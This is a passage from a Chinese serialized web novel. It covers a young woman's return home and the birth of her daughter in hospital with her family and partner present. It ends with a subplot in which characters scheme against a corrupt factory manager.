“医生说这两天就要生,我在深地市一院。若有归哥再打你电话,你就告诉他这事。”林语晨等好一会都没听到对面说话。
突然,电话这头的林兰香炸了一声:“林大宝,你女儿要生了。”
“啥?”林大宝拿报纸出来,“我女儿要生?你要生吧!哈哈哈……”
林兰香捞起篮子里刚买的瓜就砸过去:“她要生了,在深市市一院。可是……有归去找她啦,没这么快有孩子吧!?那这孩子……哪来呀?”
“老外的!?”林大宝的神色微绷,捏紧手里的瓜,明白林兰香在惊叫什么,赶紧点开免提,问电话另一头的女儿,“语晨,你在哪里?”
林语晨把挪远的电话稍微放近耳边,看着不远处跑来跑去拿检查单子的看护小夏,快口说:“爸,你别急,我在深市一院。若有归哥打你电话,就告诉他我的位置。我和孩子一起在这里等他。”
“……孩子……有归的孩子啊,你们什么时候的事啊?”林大宝接受女儿埋的炸弹,紧跟着松口气的同时想搞明白这事是怎么发生呢?
一旁得林兰香急地捶打林大宝,恼火地说:“一定是过年的时候。我日防夜防还是没防住。这妮子过年的时候不是去市里住两夜吗?当时,有归就回单位值班。她还骗我说住同学买的房子里呢!”
林大宝呃了声,安抚暴躁的妻子,又再次确认:“晨晨,爸不问别的事,最后问一句:你真怀孕,真是有归的孩子?”
“嗯。”林语晨答应。
林兰香泄了气。
林大宝也相信女儿的话,转口就骂:“臭小子的嘴巴真紧,一起住好几个月都不透露口风,瞒得真好啊。你在医院等着爸妈,我和你妈马上来深市。”
“爸,太麻烦啦。等有归打来电话,跟他说一声就好。”
林兰香扯开林大宝,平地一声雷:“林语晨,我女儿生孩子这么大的事叫麻烦?赵有归可以不在,你妈我必须在。你在医院好好等着我!”嚎完直接挂电话,转身找证件。
她赶着去买飞机票。
林大宝看着安静的电话机,说实话还有点懵。
他也习惯性地抬头看挂钟:“阿香,语晨那是凌晨三四点吧?她会不会睡糊涂打的电话啊?”
林兰香把找出的身份证砸他手里,转身又去找旅行袋装换洗衣服。
“你女儿从小到大开过什么玩笑?每次做事都把人吓个半死。上一次还是她烧书不上学呢。”
林大宝觉得烧书不是个事:“她突然说要高考才叫人吃惊,又说要出国……”
“出国还好啦,铺垫近三年。这次生孩子是真放炸弹,一点预兆都没有啊。我记得过年的时候,我把有归赶回家呢。这……混账东西,两人也没扯证呢。”
林兰香对于两人的婚事有心病,“若沈嫂子去世前知道这事该多高兴啊。呜……真是急死我。啊……别扯闲篇,赶紧拿钱去买飞机票。”
“飞机?很贵啊。还有,有归没打电话,应该不知道……”林大宝的话没说完,电话铃声响了。
他赶紧接起来:“喂,有归啊,你在哪?啊……你马上上飞机?回国。哦,我知道,语晨打电话过来说在深市一院。”
电话另一头的赵有归深深地闭眼,复又睁开:“我知道了,林叔。我到港城就去深市。你们那边要我安排吗?”
“不用不用。你先顾好自己。你姨着急出门。我们现在就去买……飞机票。”林大宝挂断电话,看到林兰香拎个旅行袋打开家门,赶紧跟去,“幸好幸好……有归上飞机前记得打电话。这臭小子,我看到他非得揍他一顿。”
林兰香坐上去机场的车才松口气:“揍他?你现在住他家,他帮你找工作,假期陪你下棋,你还揍他?”
林大宝:“那……不是他说沈嫂子的死是被谋杀,凶手也盯上我们吗?”
“以前我还觉得奇怪呢,凶手盯上沈嫂子同我们有什么关系?原来问题出在这。”林兰香轻叹声,“有归当警察,抓掉林裕宝、孙不二那伙杀人不眨眼的东西,确实得罪很多人。
好多小混混判得轻都已经被放出来,指不定是里面什么人出来后报复他。沈嫂子遭了殃。
他和语晨偷偷摸摸在一起,沈嫂子过世都不让她回来,指不定就是想保护她。”
林大宝听她帮赵有归说话,又觉得不是滋味:“他也不能背着我欺负我女儿。”
林兰香睨去:“指不定是你好闺女先霍霍人家有归。”
“……阿香,胳膊肘往外拐了啊。”
林兰香:“你女儿的性子是轻易服软的人吗?她要不愿意,有归敢动她一根毫毛?”
知女莫若母。古话说得不错。
林大宝哑口无言。
*
市一院里,林语晨打完电话后办理住院手续。
等她躺在单人病房,呼吸祖国家乡的空气,感觉整个人都松弛下来,就如艾青在《我爱这土地》说得一样,远离家后才感觉对家国土地的热爱。
归国后即将见到夜思暮想的亲人,带给她的活力是任何事物都比不了。
林宝黛送来果篮,答应等港城的事务忙完再来看她。
淳于芳托深市的熟人找看护小夏陪林语晨做检查,就赶回港城的办事处安排同阿莲品牌会谈后的订单会议,叮嘱小夏照顾好她。
小夏拿化验单走进走出,一个上午忙下来都不带停,一直到吃中饭才歇口气。
“林姐,一个早上了,你的家人还不来吗?”
林语晨莞尔:“他们会来。下午就没什么事,吃完饭,你先休息吧。我想睡一会,倒个时差。”
小夏一点不觉得累,又问:“好,林姐。你以前的产检单子都是英文,一直在美丽国产检吗?那边真像他们说得那么好吗?”
林语晨知道深市在改开后属于人口流动最大的城市,不论是资讯还是流行方面,都比别的地方快,造成很多人向往外面的世界。
她想起留学的日子,在美丽国几乎不交朋友,而且外国女孩和本国女孩的生活方式大不相同,能处成朋友真不多。
别看林宝黛在美丽国混得好,也少有知心朋友。留学生又有自己的交流圈子。若不是林语晨赞助过几位留学生,那些人也不会接纳她。
她摇摇头:“我很少同当地人接触,交过两位外国友人,很难在一块说个人事情。同房东熟悉后,我就不住校。至于外面好不好?金窝银窝哪有自家狗窝香啊。
哪里都有坏人,也有好人。”
小夏听这话觉得不过瘾,又问:“林姐,那你在外面学什么呀?”
“社会心理学以及辅修儿童心理学。”
“心……理学?这是什么?”
“研究你为什么这么多问题。”林语晨笑说。
小夏听出她不想再答,解释句:“我就想知道外面的世界是什么样?等我攒够钱,就出去走走,去大洋彼岸旅游。”
林语晨自是看出她的好奇心,又鼓励几句。随后,她打个哈欠,很快就睡着了。
她是真得很累很累。几个月来的坚持在这一刻化为极度的疲累,不知不觉就睡着。
肚子里的孩子很安静,似乎知道妈妈的辛苦,陪母亲安安静静地休息。
晚上,淳于芳赶过来,叮嘱小夏几句后陪在一旁。
她撩开林语晨鬓边的散发,轻轻地感叹:“语晨,你真得很累了。”
林兰香和林大宝是半夜十点到医院,找到林语晨的病房,一眼看到坐在床头鼓腮帮子吃东西的女儿,以及那无法忽视的大肚子。
林兰香的眼泪刷地冲出来,想骂句死丫头,又生生地憋回去。
林大宝看两眼就不盯着,只看女儿鼓鼓的脸:“饿坏了?你还想吃什么,爸给你去买。”
林语晨咽下食物,眼里也湿漉漉:“好久没吃这么好吃的东西,特别想吃妈妈做的葱香煎蛋。”
林兰香轻轻地拍在她的肩头:“等天亮,妈就给你做。”
“嗯。爸妈一点没变,好像……变白变胖了。”林语晨细细地观察爸妈,“比照片里漂亮。”
“呵,”林兰香坐她旁边,轻轻地抚摸她那肚子,“告诉妈,是不是年前你出去买年货时候的事?”
“嗯……”林语晨红着脸点头,“别怪他,我主动。”
林兰香就知道是这么回事,长出口气:“不怪有归,怪你啊?怀孩子能是一个人办成的事吗?
你知道怀孩子的辛苦吗?在异国他乡,你还上学呢!同学怎么看你,室友怎么想?若你有个三长两短,你让我和你爸下辈子怎么过?”
“妈!”林语晨有些吃力地揽住林兰香。
异国他乡,夜深人静的时候,肚子翻涌的时候,她也忍不住偷偷哭过。
“一开始确实挺辛苦,激素不稳定的时候,我还偷偷哭。但是,我一想起你,就什么都不怕。”
林大宝蹙眉:“咋说啊?你妈还能帮你扛啊。”
林兰香却懂女儿的意思,睨向林大宝:“我怀她、生她的时候你在身边吗?你在部队。沈嫂子苦大半辈子,一直过不去这份辛苦。为什么?不就是女人千辛万苦怀你们的孩子,而你们人在哪里?”
林大宝委屈:“我……保家卫国呢。”
“我怪你吗?”林兰香拉住林语晨帮忙抹泪的手,掏出手巾擦泪,“傻丫头,知道妈得这份辛苦,怎么就不想着避开?”
林语晨软软地靠在她的肩头:“不避。因为我为爸妈自豪,为这个孩子的父亲骄傲。所以,你不要怪我们啦。妈……”
林兰香扶起女儿的脑袋,疼惜的眼神责怪的语气:“我怪你和有归啦?”
“没有!妈!”林语晨赶紧哄上,朝林爸眨眼。<
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p>阿香同志自从林大宝退伍后就挺能“作”。
林大宝赶紧应和:“是啊是啊,全是我和有归的错。语晨,赶紧上床躺着呢。”
“我……”林语晨拒绝,都睡大半天啦。
林兰香长出口气:“现在是半夜,确实该睡觉。不然,白天就要睡了。”
林语晨拗不过他们,依言躺回床上。
单人病房,病床1.5米,够两人睡,另外还有单独陪护的床。
她拉林兰香的手躺下,本以为会睡不着,却意外很快入睡,打起不轻不重的憨声。
林兰香带有细细皱纹的脸上露出心痛的表情。
这孩子以前哪里会打鼾,自小身体就不怎么好,时不时会生个小病。
她摸着女儿的脸颊和手臂,心里又疼上。除这张脸外,手臂和身体都瘦成什么样儿,全是骨头。
林大宝轻轻地拍在妻子的肩头安慰,小声说:“你陪她睡一会吧。我去护士站问问她的情况,再回来陪你守夜。”
林兰香点头,抱紧女儿打起盹。
*
赵有归下飞机后马不停蹄赶往市一院。
他来的时候病房里的一家人正有说有笑,没看到人就听到软绵绵的笑声,像一道安抚的药剂,让他一直飘在天上的心瞬间落地。
林大宝率先发现冲进门的男人,起身喊:“有归,你到了。”
“林叔。”赵有归轻吐口气,快步走上前,与那个沐浴深秋阳光的女人对上眼。
三步并两步,他一把抱住柔柔带笑的林语晨。
“有归哥!”
他紧紧地拥住她,小心地不碰到她的肚子,贴靠在她的颈项,吸取仿佛生命阳光般活着、存在的安心气息。
这刻,他被踏实落地的满足感完全征服。
——只要她平安,无论她做什么都可以。
林兰香在一旁看着两人,千言万语的责怪都消弭于这刻,被林大宝拉出病房。
林语晨轻轻地推下赵有归,柔声说:“有归哥,这都深秋,怎么一股汗味?”
“熏到你了?”赵有归放开她,温柔小心地抚摸她的鬓发,深邃的眸光里是溢出柔情,“孩子,闹你吗?”
林语晨轻轻地摇头,主动拥住他的手臂,没法环抱,肚子会顶着两人:“有归哥,对不起啊。”
赵有归轻轻地拍在她的手背,紧紧地握住她微热的双手,满腹感情被一点点柔情吞噬,继而填满心头。
“应该是我说对不起。我没照顾好你和孩子。”
拥抱时她单薄的后背、瘦削的肩头、手臂,语晨在国外一定吃不好睡不好,异常辛苦。
“婶子的事……我很难过,没在你身边陪着你。”林语晨抿紧唇,轻柔地看去,希望彼此交握的手能给与对方有力的支持。
两人没有见面前会觉怀疑彼此是不是会陌生、尴尬。
然而,相见后,那些过渡般的信像一面熟悉彼此的镜子,深深地刻画着对方的模样。
彼此不仅一点都不尴尬、不陌生,只有满到溢出来的期待和眷恋。
赵有归摇头,平静地沉默。
“淳于芳帮我查到婶子是心梗、意外过世。爸妈也是这个说辞,但我年前看到她的状态很好。你们是不是有什么事瞒着我?”
赵有归扯起笑脸,俯下身贴靠在她的肚子,感受小生命的力量:“宝宝,我是爸爸。”肚子里的小宝贝回应般踢了下语晨。
“啊,她踢我。”林语晨知道他有心岔开话题,依旧没有放过这事,“与楚邵有关吗?”
若不是同楚邵有关,赵有归不会把林爸林妈一起接去海市暂住。
赵有归顿了顿,轻轻地抚摸她的肚子:“语晨,现在最重要要的事是安心把孩子平安生下来。至于其它事,我会处理。”
所以,沈婶子过世不是意外!
林语晨瞬间明白这点:“林飞成?”
“不是。”赵有归又忍不住贴上她的肚子,感受着薄薄肚皮后得生命颤动。
若是沈秋霞还活着,她该多高兴要做奶奶。
林语晨抚摸他短利的头发,轻轻地顺着它们:“所以,到底是谁?”
赵有归直起身,捧着她的脸,注视她柔亮的眼神,深情说:“不论是谁,那都是警察该做的工作。”
“有归哥!”林语晨要争论,不妨他亲在额头,又顺鼻尖亲在唇角,忍不住后仰迎合他,却咽下本要问的话。
赵有归放开她后轻轻地笑着:“语晨,你和孩子平平安安,真好,谢谢你。”
“……”林语晨闷闷地捶在他的肩头,“不想理你,非得自己扛着吗?”
赵有归想说句咱两八斤八两,忍不住笑摇头。
“不行。你不理我,我就……缠到你理我。”咧大嘴,笑得又憨又真诚,“医生说距离生产还有多久?”
“这两天吧,说不上来具体的时间,肚子偶尔有点点痛,但不明显。”林语晨轻声说,“有归哥,答应我,以后不要一个人抗事。即使我帮不了你,也想听你说说话,帮你分担你的困难。
我害你停职,你一定很难吧。以咱们这种农村出来的身份,你能转入海市工作一定付出不少代价吧?”
86. 小鱼儿
“你怎么会这样想?停职的事与你没有关系。”赵有归哂笑,摸了摸她鬓边的长发。
听说怀孕的女人敏感、做事专注,但精力不够。语晨这样是要钻牛角尖吧?
望入她湿漉漉柔软的眼神,觉出她眼底的倔强。
赵有归考虑接下来她要坐月子等,还是让这女人安心些好,就细细说了,“我退出市局转入暗处是局里制定的计划。你不要把事揽在身上。我妈的死确实有些问题,但是不太容易查。不过,左右与我有恩怨就那几个人,时机到时自会露出马脚。”
林语晨紧紧地抓着他,靠在他的肩头:“有归哥,对不起。”隐隐有种感觉,沈秋霞的过世与自己有关。
“傻姑娘,都说与你没关系,不用说对不起。”赵有归揉了揉她的肩头,“真瘦。怎么只在信里报平安、说想念,不说那边的情况。”
林语晨的神经瞬间绷紧,知道这是要问孩子的责。
“我知道使馆的陆先生承了你的情,你拜托他关照我。但是,陆先生只是你朋友的朋友,而他是宝黛姐的朋友。”
“原来是这样。”赵有归就说陆知云怎么没把语晨怀孕的事传回国内,“就这么怕我知道?那你知道我和你爸妈会担心吗?”
“我知道啊。但是,孩子要带,学业要抓,事情也要做,总不能什么都做一半吧?”林语晨轻轻地戳在他胸前的白衬衫,一点一点,“如今事情顺利,我也平安回国,靠在你怀里,就不要怪我嘛。”
“我没怪你,只想疼惜你。但是,你不给我机会。”
林语晨笑得轻松又温暖:“从今往后,我和孩子都给你疼。你别扯开话题。你又是怎么去海市,还有你说过等我回来要告诉我全部的事情。”
赵有归低头看着她的大肚子,有些迟疑:“离开市局后,我发现有人还一直盯着我,就不能再留灵市。
你记得靳燕好吗?那年我退伍回来时,他在你家吃过饭。”见她点头,接着说,“燕好给我出主意,我联系之前看好我的张团长,同时说明灵市的情况,请他出面帮我安排工作。”
“这……作风问题就解决了?我爸妈又怎么会去海市?”
赵有归揉了揉额头,被林语晨一把抓下来,笑笑说:“好吧,你真不累?”见她依旧点头,接着说,“你给我留张照片,戴戒指那张,还记得吗?”
林语晨伸出手:“我没发胖,还戴地进去。”
赵有归早就看到她戴着的戒指,抓着她的手亲了亲:“我说你答应嫁给我,只不过我有案子要办,你有学业要完成,只能先做地下工作。
张团长说相信我的人品,愿意牵这个线。于是,我去海市上班。
后来,林叔在造纸厂里出点小事,进趟医院。他没告诉你吧?”
林语晨已经坐直,紧张问:“爸爸没说啊,什么事啊?”
“造纸厂的卷筒容易要人命。那天本来是林叔上筒,临时换人,幸好林叔救得即时,那人伤两根手指。林叔救人时从台子上掉下去,有些脑震荡和擦破皮。
不久后,楚邵露面,去医院找林叔。
我听说这事后赶回灵市,同祁连调查造纸厂的事故,发现有外地人怂恿那个执意要同林叔换岗的人占林叔的工作。”
“有人想要我爸的命?”林语晨激动起来,心血涌动,浑身一热,连肚子也是一阵翻涌,“啊……”
“怎么了?”赵有归就知道不该说这些事,可这姑娘哎……
“医生……医生……护士……”
“啊……好疼,有归哥,是不是……要生了……谁要害我爸妈啊?”林语晨捧着肚子看医生冲进门,抓在赵有归的胳膊,“是不是楚邵那畜生……”
林兰香跑进房,责怪赵有归:“这都什么时候,你跟她说这些干啥?你爸没事啊,我们都好好呢。”
林大宝原地打转:“你怪他干啥……”
“对不起,林姨。”赵有归急切问:“语晨……医生,她怎么样?”
女医生检查完:“羊水破了,直接进产房。你们有人要陪产吗?”
“啊……有归哥……不要进去。”林语晨的手被赵有归一路抓着,直至被护士医生推进产房。
赵有归还是被林兰香给扯住。
林兰香焦躁说:“她不想你看到那样子,你就别进吧。”
林大宝哎哎点头:“是啊,现在医术好,没事的。咱们等……等……”
赵有归暗吸口气,原地转两圈,看到待产室外有不少焦急等待的家人,跟着走过去。
产房里是嗷嗷叫的产妇、宛如小猫叫的婴儿……林语晨一进去,整个人都在发麻,又紧张又疼,就有些后悔不让赵有归陪产。
耳听助产士千篇一律地安慰,她紧张说:“医生,若我有个三长两短,你要先救孩子。啊……”
助产士一脸无奈:“放心吧,宫口四指,羊水清澈,还能自己生。实在生不了才会考虑剖腹产,医生会看着你呢。”
“啊……”一阵绞痛带走林语晨所有的语言能力。
将近两个小时的折磨,在医生的帮助下她顺利产下一个六斤六两的女宝宝。
护士到门外报生产时间。
林兰香一把捶在林大宝的肩头,激动说:“终于平安生下来了。呜呜……”
“这么多人呢,你哭啥?”林大宝小声嘀咕。
赵有归的心也总算落地,站在两夫妻旁边,紧张问:“护士,孩子妈妈语晨怎么样?”
护士笑笑:“生孩子肯定累啊。平安。”
“谢谢。”赵有归看她急忙进去,知道里面人多,转头想同人分享喜悦。林家夫妻冷静后投来欣慰的眼神。
其他陪产的家人笑望过来:“恭喜啊。”
有位老太太在旁边念念叨叨:“今天连生几个都是女儿。听说昨天都是儿子,才几个姑娘……这男娃子、女娃子都是坐船一批批来呢。”
林兰香紧跟句:“咱们本来就是独生女,生啥都是好。”
老太太起了谈话的兴致:“孩子爸爸呢?他家要是只他一个孩子,这娃跟谁姓啊?”
林兰香哑口。
老太太笑说:“你挺年轻啊,以前怎么不多生几个?现在法律规定不让生,多生一个连家里楼梯都给你拆没了,还扒拉掉屋顶瓦片,跟强盗似。有些还让你一定要带环……我就有七个孩子,四个女儿、三个儿子,里面是我小媳妇在生产……”
林兰香顿时后悔搭腔,这老太太可真能说。
林大宝和赵有归在旁边说话。
林大宝说:“有归,等语晨出月子,你和她把证领了,就在深市领。可别再惯着她,这丫头回头跑回去完成学业,又不知道啥时候回来。”
赵有归想到林语晨的性子,真会像林大宝说得一样做。但他也不能阻止语晨不完成学业……
“对了,林叔,我先把咱们住的地方定下来。”
“不用。语晨同学——淳于芳说了,她在深市早就准备好一套房空着留给语晨待产坐月子,一会让你姨先去收拾收拾,等语晨出院就住过去。咱们住一个月,等出月子,再回海市,怎么样?”
赵有归自是答应,不过,这期间,他要赶回海市汇报下工作。
林大宝更想回赵家村,又担心赵有归那事没完,就先不提了。
半个小时后,林语晨被推出产房,一入眼是赵有归微红的眼睛:“你怎么还不去洗澡?”
赵有归哑然笑着:“等你出来。你还好吗?”
“嗯,孩子被护士抱走了,说是一会抱去病房。”两人一个躺着一个推着转去病房。
林兰香摆脱了说近半个小时的老太太,同林大宝跟在推床后面。
一家人回到病房后不久,护士就把小婴儿抱过来,叮嘱几句照顾孩子的话,又同林语晨和赵有归说起产后护理。
小夏也叭叭说个不停,眼神一直盯着赵有归瞧,又说:“淳于小姐说,她已经通知张小姐,两人一会一起过来。”
林语晨点头,感觉脑子懵懵,身体却异常轻松,想下去走走。
林兰香抱着孩子逗弄,睨她:“好好躺着。这是盐水起作用,回头消退了,有你受呢。”
赵有归在旁边等着抱孩子,闻言说:“是啊,语晨,听话。”
林语晨咕哝:“你们都只关心孩子,她长啥样?”
林兰香笑说:“跟你小时候一样,皱皱巴巴像只红屁股的小猴子。”
林大宝就说:“抱给语晨看看。你怎么能没看过孩子?”
“只看了一眼,太快了都没看清,就趴着我身上拱,一会又被抱走了。”林语晨想起产房的经历,整个人都凉飕飕,“我再也不要生孩子了。”
赵有归不要抱孩子了,抚摸林语晨的鬓发,亲了亲说:“谢谢你,语晨。辛苦了。”
林语晨瞬间被安慰到,拽着他的手不松:“你陪着我,我想睡一会。”
赵有归抚着她,看着她微红的睡颜,不知不觉靠在床头也睡过去。
林大宝轻轻地拍了拍林兰香:“有归一定累坏了。”
“是啊。他坐了一天多的飞机,下了飞机也没好好休息。如今,他算是歇口气。哦,宝宝喏……爸爸妈妈都累啦。”林兰香应句,听着小夏的话把孩子轻轻地放在小床边,给小婴儿换尿裤和包被。
婴儿的头发还挺浓密,五官略憨,像赵有归。小小一只,闭着眼睛,撅着小嘴吸啊吸,握着白兮兮嫩嫩的小拳头,什么都是小小,小脚掌粉红色,像粉色的玉。
林兰香越看越喜欢,同小夏一起给婴儿换好后放回小床,推到林语晨的床头。
小夏说:“叔、姨,我去买午饭吧。”
林兰香赶紧说:“我同你一起去,她想吃葱花煎蛋
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,再去给她做一份。”
林大宝答应:“那我留在这照看着吧。注意安全。”目送两人离开,守在一旁看着这对累坏的夫妻和孩子。
林语晨是被婴儿的哭声唤醒,就像定点钟一样,一哭就本能醒过来。
赵有归已经过去抱起小婴儿,手脚有些僵硬,也是学着林兰香刚才的姿势,慢慢地哄着。
林兰香过来说:“我来吧。有归,你先和语晨吃饭。”
赵有归看了看孩子,又看看柔柔笑着的语晨,突然就有种难以抉择的感觉。
他想抱着孩子,又想去照顾语晨……一不留神,孩子就被小夏抱走了。
小夏说:“先生去吃饭吧。我来照顾孩子。”
赵有归有些不舍地看眼奶娃娃,上去照顾林语晨吃饭,结果,林兰香已经干了这活……一下子啥都没捞着,好失落!
林大宝在旁边呵呵笑:“有归,过来同叔吃饭。”
“哎。”赵有归揉了揉头,同林大宝坐在茶几边吃饭,时不时看看小夏怀里的孩子,又去看吃着东西的语晨,眼睛都不够用。
“改口叫爸了。”林大宝吃着说。
赵有归应了声,回过神:“林叔……”
“不乐意啊?”林大宝哼哼,“阿香……”
“不是……”赵有归赶紧按住林大宝,“爸,”又对望来的林兰香喊,“妈!”
林大宝和林兰香同时答应了声,笑嘻嘻地看向女儿。他们知道赵有归为难是怕林语晨不答应。
林语晨嚼着虾肉,喊了声:“爸妈,改口得有改口红包。”
林兰香直接给她塞一口菜:“吃你的。一会给小鱼儿喂奶呢。”
“小鱼儿?”林语晨同赵有归对上眼,都不知道林妈啥时候给娃取小名。
“你们睡着的时候,我和你爸商量你们取大名,我们取小名,就叫小鱼儿。”
“为啥?”林语晨不解。
“你爸最近迷上77版的《绝代双骄》电视剧,说小鱼儿灵动活泼又机灵,让外孙女叫这个名……沾点聪明劲,别学有归那样,笨憨憨不知道使点手段,把你套套牢。”林兰香意有所指地说。
林大宝哼哼:“明明是你妈看上人家小鱼儿的演员长得聪明好看呢。”
林语晨一阵无语,接收到赵有归的眼神,就说:“有归哥,你取大名吧。”
林妈这是指桑说槐,不过,完全说反了。说不定就是故意呢!
赵有归答应,但也没说取什么名字,还是想着同语晨商量着取名字。
下午的时候,淳于芳和张茉莉一起过来。两人一个逗着孩子,茉莉扒着林语晨手臂:“呜呜……我可想死你了。”
“骗人。我还没你的替身戏重要呢。”林语晨戳穿她。
“哎,别提了。”张茉莉一脸港漂的“沧桑”,“我爸住院了,我哥喊我回去呢。”
“张叔叔怎么了?”林语晨好奇问。
赵有归听后也望过来:“张叔生病了?”
“没有没有。我哥说,肥皂厂有个姓陈的经理从负责人的位置上退下来,把责任都推我爸身上,一直在企业里给他找不痛快。这次,我爸就是被他搞得进医院,还破口骂人了。”
张茉莉挥了挥手,“这事也不大。我直接给他说:若是干不了就回家嘛。咱家都不缺他这份工了。”
林语晨和赵有归对了眼,两人都知道张德梁的品性。他要得不是一份工,而是把国企办好,成为替人民服务的企业。这是他老一辈人的工作、爱国精神。
这个姓陈的人能让张德梁破口骂人,定是做了很过分的事。
两人同时想起张家灭门案。
赵有归心照不宣地拍了拍林语晨的肩头,小声说:“你和她们聊,别累着了,我出去打个电话。”
“嗯。”林语晨目送赵有归出去,安抚张茉莉,“茉莉,我和芳芳商量过了,等我出院,咱们就给你申请个公司,开个工作室,自己买版权拍电影,你做女主角。”
淳于芳跟着说:“我跟她说了。她不信。”
张茉莉哼唧:“我不是不信,我只是觉得这样不能证明我的能力!”
小鱼儿中期十足地嚎了一嗓子,哇哇地哭起来。
小夏说:“林姐,该喂奶了。”
淳于芳和张茉莉放下话题,一起凑在旁边看她喂奶。两人嘻嘻哈哈笑着,互相调侃。
张茉莉:“哇,好可爱。语晨,好大啊。芳芳,学着点,以后用得着。”
淳于芳:“我说真的呀,咱们以后三个孩子互相认干妈,不便宜外人。”
张茉莉戳了戳喝奶的宝宝:“那我要做小鱼儿的干妈,你别和我抢。”
林语晨睨去:“你们问过我这孩子亲妈吗?赶紧走开,羞不羞啊?”
茉莉:“不羞,哈哈!”
病房里一阵笑声。
87. 故人逢
“有归?怎么打我电话,出差回来了?”张天鸿在电话那头问。
赵有归没空扯闲篇,直入主题:“张叔住院是怎么回事,他人还好吗?”
张天鸿顿下,慢慢说:“人还行,中气十足,住院第一天就会骂人。”
赵有归听出话里有问题,问得更明显:“你想找姓陈的麻烦?”
“呵,怎么听出来呢?”张天鸿有些无奈,“我就找几个人教训他一下,放心吧,不会出人命。”
“张天鸿!”
“到,连长!”张天鸿紧跟上,又赶紧笑着解释,“你别紧张,真没事。我爸住院是我强制让他待几天,没多大事。他先是骂我多管闲事,后来骂人家拎不清主次。
其实,他才是那个拎不清的人。人家要抢权夺利,他跟人家谈国有财产不可私占……这不是断人财路,跟撬人家祖坟有啥区别?
以前,你担心钱忠源、钱心文。这两人一个退休,一个被我整得服服帖帖,不敢闹幺蛾子。
如今,姓陈得敢扇动肥皂厂员工,说效益不好是我爸带的头不起作用,故意把地板弄得湿滑,害老头检查的时候摔了跤,逼他出局。
这我不能忍啊。”
赵有归暗吸口气:“那你也不能让人去教训他。”
“放心吧。我有心里数。”有些人是法外之徒,用不了正大光明的法子,就得用暗的手段。
听林语晨提过“张家灭门案”,赵有归又那么关心钱忠源父子,再加上这个姓陈的……张天鸿怎么可能让这些人好过啊。
他可是放弃一辈子想干的工作回乡护着家人。这么大牺牲,怎么能让爸被害得摔跤还不出手?
“有归,有你在,我不敢犯法,真的!”
赵有归还是有些不放心,如今张家的财富在灵市也是数一数二,很难说不会踩红线。
“我不在灵市。”
“我知道。但是,你的人都在灵市。”张天鸿看到进门的女人,招了招手,“行了。等你出差回来后咱们聚一聚,灵市是你的根据地,别真给那些人霍霍。”
“好。过几天我回来一趟,咱们碰个面。”赵有归挂断电话。
陈河是前世肥皂厂上位的总负责人,有线索表明他和罗恒、孙不二有接触,张家灭门案很可能是他在幕后策划,搭上钱忠源父子,让钱忠源父子借孙不二介绍的人做下的案子。
前世,赵有归只查到凶手和钱忠源有过交流,而陈河隐匿在幕后,清清爽爽做着人。
今世,重开这局,因为林语晨和赵有归的介入,陈河没能搭上孙不二的线,没有那些人可以利用,加上钱忠源父子也没机会出头,连带事情不再像前世一样发展。
但是,陈河想害张德梁的心不变,等张德梁进肥皂厂就暴露出来。
赵有归靠在电话旁的墙壁,长吸口医院消毒水的味道,让脑子清醒几分。
若说命运难改,母亲沈秋霞就没能躲过去,而这件事完全怪他太过轻敌。
重回海市,走上与前世差不多的道路。等几年后做出成绩,说不定又要成立调查组,进行专案专查。
若说命运可改,张家灭门案的危机隐隐存在,只是事情不像前世那样发展,至少能被张天鸿掌控住局面。
而语晨也有孩子,脱离与楚邵牵扯不清的命运。
赵有归揉了揉额心,低头嗅下已经发黄的衬衫领子,想着语晨都念叨两次,先让她们聊着,去找个地方清理一番。
*
灵市的青骊酒吧,张天鸿给金翠城推去一杯酒,淡漠地说:“下次做事问过我,别擅作主张。打人进医院是最次的手段。”
金翠城伸向他放在吧台手背的手一缩,握住酒杯脚,轻轻地转着圈。
“你在关心我吗?”
张天鸿不轻不重地睨去,见她垂脸露出白皙的长颈,低头喝口酒。
金翠城瞥见他依旧无动于衷的目光,微微叹息:这个男人还真是自律。
“为什么向好朋友承认事情是你做?陈河断条腿,住了院,分明是我让人去打的。”
“这个节骨眼,瞎子都猜到是我张家人下的手。何况问得是赵有归,与其同他解释、狡辩,不如大方承认,他还能帮我打掩护。”张天鸿说完,敲了敲吧台面,“经过这茬,天上人间的人会认为我更器重你,对你行事也方便。你可还有其她认识的人?”
金翠城的精神一震,想起回老家被父母强逼嫁给老男人……往后人生就只能围着灶台、男人和他的孩子渡过……不甘心得她逃离婚姻、老家,回到灵市。
她想找到张天鸿,但人家是企业负责人,忙得根本见不上面。
无奈之下,为生存,她去天上人间工作。
没想到看起来干净的天上人间,做得也是曾经孙不二经营的事。
只不过,天上人间做的更隐秘,台面是天上人间的正规经营场所,台下是幕后的私人别墅、旅行交友社……
金翠城已经走投无路,想着以前就做过这行,不如干回老本行,而且老板挺大方,对姑娘也好,不会硬逼着人上场。
然而,她遇上林菲儿。原来,会所背后的老板是林裕宝的女儿。
那不能忍。
当初,她清清白白一个姑娘,踏上这条不归路就是孙不二、林裕宝害的,回了老家被人指三道四,被父母逼得随便嫁老男人……全是这帮畜生害人。
一想起这些,金翠城毅然搭上张天鸿放在吧台上的手,不轻不重地轻划着:“自是有几个同乡姐妹在里面。我能进去,也是她们介绍的。
天鸿哥,你知道我做这些都是心甘情愿。如果真出了事,我一定出去顶着。”
“你们女人真傻。”张天鸿抽回手,好玩地笑了下,“我张天鸿做事还不需要你们女人顶缸。你找几个有交情的熟人,花点钱,等陈河出来哄着他玩。
废掉一个人的方法有很多种,绝对不要用伤敌八百自损一千的蠢招。”
金翠城听明白,点头说:“带他去千金别墅玩赌怎么样?”
“那是你该想的事。”张天鸿说完,蹙了蹙眉,“别暴露!天上人间里得那帮女人不能小瞧。你能早点脱身就出来吧。”
“好,我会小心。你要我不回去,我又怎么给市局打探消息?”金翠城轻哼着,又笑:张天鸿还是会关心人呢。
“你说我们女人傻,我和林菲儿可不一样!”
“她怎么了?”张天鸿好奇问。
“姐妹说,她好像有个老相好,姓楚,经常在会所里帮他组局,介绍姐妹给那
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些人。可是,有一次我看到林菲儿同新来的建局赵局长一起离开。我怀疑她是赵局的情人。”
“赵楠天!”张天鸿轻笑了声,“这帮人果然入了瓮。你继续盯着林菲儿的动向,不要打草惊蛇。”
“放心吧。孙经理知道你点我,我已经是小红人了。她们可巴着我把你拿下呢。”金翠城正要握紧他的手,却不妨张天鸿抽走手,跟着跳下高脚椅,“你要走了?”
“嗯。女朋友还在等我。”张天鸿人高马大地立着,回头看去,“翠城,保护好自己。若你想退出,随时来找我。我送你回去。”
金翠城巴巴地看着他离去的背影,垂敛眸光里的幽暗:退出?退到哪里去?老家山沟沟里的老男人家吗?
